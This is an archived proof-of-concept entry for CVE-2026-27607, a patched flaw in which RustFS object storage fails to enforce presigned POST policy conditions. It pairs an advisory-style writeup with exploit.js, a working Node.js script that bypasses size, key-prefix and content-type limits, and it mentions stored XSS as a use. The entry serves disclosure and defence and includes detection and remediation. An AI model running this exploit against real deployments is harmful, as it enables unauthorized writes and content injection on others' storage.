PoC Archive PoC Archive
High CVE-2026-27607 (GHSA-w5fh-f8xh-5x3p) patched

RustFS — Presigned POST Policy Condition Bypass (CVE-2026-27607)

by nikeee (Niklas Mollenhauer) · 2026-07-05

Severity
High
CVE
CVE-2026-27607 (GHSA-w5fh-f8xh-5x3p)
Category
cloud
Affected product
RustFS (S3-compatible object storage server)
Affected versions
Up to and including 1.0.0-alpha.82; fixed in 1.0.0-alpha.83
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / Researchernikeee (Niklas Mollenhauer)
CVE / AdvisoryCVE-2026-27607 (GHSA-w5fh-f8xh-5x3p)
Categorycloud
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsrustfs, s3, object-storage, presigned-url, policy-bypass, aws-sdk, cloud-storage
RelatedN/A

Affected Target

FieldValue
Software / SystemRustFS (S3-compatible object storage server)
Versions AffectedUp to and including 1.0.0-alpha.82; fixed in 1.0.0-alpha.83
Language / PlatformNode.js (JavaScript) using the AWS SDK v3 (@aws-sdk/client-s3, @aws-sdk/s3-presigned-post) against a Dockerized RustFS instance
Authentication RequiredYes (attacker must possess a legitimately issued presigned POST policy)
Network Access RequiredYes

Summary

RustFS is an S3-compatible object storage server. This PoC demonstrates that RustFS fails to properly enforce the conditions embedded in S3 presigned POST policies. Presigned POST is normally used by applications to let clients upload directly to storage while a server-issued policy constrains what they can upload (max size via content-length-range, allowed key prefixes via starts-with $key, and allowed Content-Type). The PoC’s four examples show that while a compliant upload succeeds normally, RustFS did not correctly reject uploads that violate the size limit, the key-prefix restriction, or the content-type restriction — allowing an attacker holding any valid presigned POST policy to write objects outside the intended constraints (e.g., a different key path or oversized/mistyped content), which could enable path/prefix escape or stored content-type confusion (e.g., XSS via a mislabeled file).

Note on the RustFS behavior

The presign is generated with the standard AWS SDK client-side, so the vulnerability lies specifically in how the RustFS server validates the submitted fields/conditions against the signed policy on the receiving end.


Vulnerability Details

Root Cause

RustFS’s presigned-POST handling does not correctly validate policy conditions (content-length-range, starts-with $key, and content-type restrictions) against the actual submitted multipart form fields, allowing a client to submit values that violate the signed policy while the upload is still accepted.

Attack Vector

  1. Obtain (or have a legitimate application issue) a presigned POST policy scoped with restrictive conditions (size limit, key prefix, or content-type).
  2. Submit the multipart POST with a payload that violates one of those conditions — e.g., a larger file than allowed, a key field outside the permitted prefix (such as secret/area/foo.txt), or a mismatched Content-Type (e.g., text/plain where only image/png was authorized).
  3. Observe that RustFS accepts the non-compliant upload instead of rejecting it per the signed policy.
  4. Retrieve the object via GetObjectCommand to confirm the bypass succeeded (wrong key location and/or persisted incorrect content-type).

Impact

An attacker who legitimately obtains any presigned POST URL from an application (even one meant to be tightly scoped) can escape its intended constraints — uploading larger files than permitted, writing to unauthorized key paths/prefixes, or storing content under an unauthorized MIME type (e.g., enabling stored XSS via HTML content served as text/html).


Environment / Lab Setup

Target:   rustfs/rustfs:1.0.0-alpha.82 (Docker), S3 API on localhost:9000
Attacker: Node.js, npm ci (@aws-sdk/client-s3, @aws-sdk/s3-presigned-post), docker + compose

Proof of Concept

PoC Script

See exploit.js, presign.js, and compose.yaml in this folder.

1
2
3
npm ci
docker compose up
./exploit.js

The script initializes a bucket, then runs four examples against the running RustFS instance: a compliant upload (should succeed), an oversized upload (should fail but demonstrates the check), a key-prefix violation (writing outside user/uploads/), and a content-type violation — confirming which policy conditions RustFS fails to enforce by reading back the stored object.


Detection & Indicators of Compromise

Signs of compromise:

  • Objects present outside their application-designated key prefixes.
  • Stored objects with a Content-Type inconsistent with the extension/policy that issued the presigned URL (e.g., HTML/JS served as an image).
  • Files exceeding the size limits configured by the issuing application.

Remediation

ActionDetail
Primary fixUpgrade to RustFS 1.0.0-alpha.83 or later, which fixes presigned POST policy condition enforcement
Interim mitigationAvoid relying solely on presigned POST condition checks for security-critical constraints; add server-side post-upload validation of key, size, and content-type

References


Notes

Mirrored from https://github.com/nikeee/CVE-2026-27607 on 2026-07-05.

exploit.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env node

import { createPresignedPost, getKeyBuffer, initService } from "./presign.js";

await initService();

console.log("Example 0: Simple upload (should work)")
{
    const { url, fields } = await createPresignedPost("buffer.txt", [["content-length-range", 0, 10000]]);
    const buffer = Buffer.from("this is a buffer");

    console.log("This upload should succeed:")
    await postUpload(buffer, url, fields);

    console.log();

    const [bufferOnServer] = await getKeyBuffer("buffer.txt");
    console.log("Buffer on server:", bufferOnServer.toString("utf-8"));
}

console.log("---");

console.log("Example 1: Upload that is too large (should NOT work)")
{
    const { url, fields } = await createPresignedPost("buffer.txt", [["content-length-range", 0, 4]]);
    const buffer = Buffer.from("this buffer is larger than 4 bytes");

    console.log("This upload should fail:")
    await postUpload(buffer, url, fields);

    console.log();

    const [bufferOnServer] = await getKeyBuffer("buffer.txt").catch(() => [null]);
    // the previous upload should have failed, so the content on the server should be unchanged
    console.log("Buffer on server:", bufferOnServer?.toString("utf-8"));
}

console.log("---");

console.log("Example 2: Upload has a key that is outside of the allowed prefix (should NOT work)");
{
    const { url, fields } = await createPresignedPost("dontcare.txt", [["starts-with", "$key", "user/uploads/"]]);
    const buffer = Buffer.from("some data from example 2");

    fields["key"] = "secret/area/foo.txt"; // trying to upload outside of allowed prefix
    console.log("This upload should fail:")
    await postUpload(buffer, url, fields);

    console.log();

    const [bufferOnServer] = await getKeyBuffer("secret/area/foo.txt").catch(() => [null]);
    // The object should not be written since the key is outside of the allowed prefix
    console.log("Buffer on server:", bufferOnServer?.toString("utf-8"));
}

console.log("---");

console.log("Example 3: Upload has a content-type that is not allowd (should NOT work)");
{
    const { url, fields } = await createPresignedPost("not-an-image/buffer.txt", [{"Content-Type": "image/png"}]);
    const buffer = Buffer.from("some data from example 3");

    console.log("This upload should fail:")
    await postUpload(buffer, url, fields); // uses text/plain instead of image/png
    // an attacker would use text/html and possibly use this for XSS on a trusted domain

    console.log();

    const [bufferOnServer, contentType] = await getKeyBuffer("not-an-image/buffer.txt").catch(() => [null, null]);
    // The object should not be written since it had the wrong content-type
    console.log("Buffer on server:", bufferOnServer?.toString("utf-8"));

    console.log("Persisted Content-Type on server:", contentType); // should not be "text/plain"
}


async function postUpload(buffer, url, fields) {
    const body = new FormData();
    for (const [key, value] of Object.entries(fields)) {
        body.append(key, value);
    }
    body.append("file", new Blob([buffer], { type: "text/plain" }));

    const res = await fetch(url, {
        method: "POST",
        body,
    });

    if (!res.ok) {
        const text = await res.text();
        console.log(`Upload failed: ${res.status}\n${text}`);
        return;
    }

    console.log("Upload Successful");
}